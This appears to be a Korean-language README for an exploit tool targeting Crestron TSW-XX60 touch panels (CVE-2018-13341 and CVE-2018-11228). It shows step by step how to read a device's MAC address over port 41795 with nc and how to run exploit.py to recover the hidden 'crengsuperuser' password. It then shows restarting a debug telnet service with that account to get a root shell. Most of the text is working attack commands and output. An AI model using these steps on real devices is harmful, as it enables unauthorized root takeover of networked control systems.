
이 도구는 CVE-2018-13341을 익스플로잇하는 것을 목표로 합니다.
이 도구는 CVE-2018-13341을 악용하기 위한 것입니다. 대상 장치의 MAC 주소를 사용하여 "crengsuperuser" 숨겨진 계정의 비밀번호를 복구할 수 있습니다. 이 계정은 높은 권한을 가지며 SUDO 명령어를 실행할 수 있습니다.
Crestron Toolbox 프로토콜(CTP)은 TSW-XX60 장치에서 포트 41795에 접속하여 연결할 수 있습니다.
# nc -C w.x.y.z 41795
TSW-760 Control Console
TSW-760> estat
The EST command has been made obsolete. Please use IPCONFIG instead.
Ethernet Adapter [XYZ]:
Link Status ....... : OK
DHCP .............. : ON
MAC Address ....... : 00.XX.XX.XX.XX.XX
IP Address ........ : [removed]
Subnet Mask ....... : [removed]
IPV6 Address ...... : [removed]
Default Gateway ... : [removed]
DNS Servers ........ : [removed] | DHCP |
[removed] | DHCP |
이 도구는 CryptoGraphy 모듈이 필요합니다.
# pip3 install cryptography
OR
# pip3 install -r requirements.txt
usage: exploit.py [-h] [-m MAC]
# Example
# python3 exploit.py -m aabbccddeeff
[*] Device MAC address: AAXXYYZZ
[*] Password for 'crengsuperuser': somerandompass
CVE-2018-11228은 Crestron Terminal Protocol(CTP)에서 Bash Shell Service를 통해 인증되지 않은 RCE(원격 코드 실행)를 허용합니다. "crengsuperuser" 숨겨진 계정의 비밀번호를 얻은 후에는 머신에서 root 액세스 권한을 얻을 수 있습니다.
# nc -C w.x.y.z 41795
TSW-760 Control Console
TSW-760> TELNETPORT OFF
Telnet Port: Off
TSW-760> SUDO RESTARTSERVICE telnetd_debug
Username: crengsuperuser
Password: **************
Service telnetd_debug restarted
TSW-760>
그런 다음, 새 셸에서 박스에 대한 root 액세스 권한을 얻을 수 있습니다.
# telnet w.x.y.z
bash# whoami
root
Credit Goes to : axcheron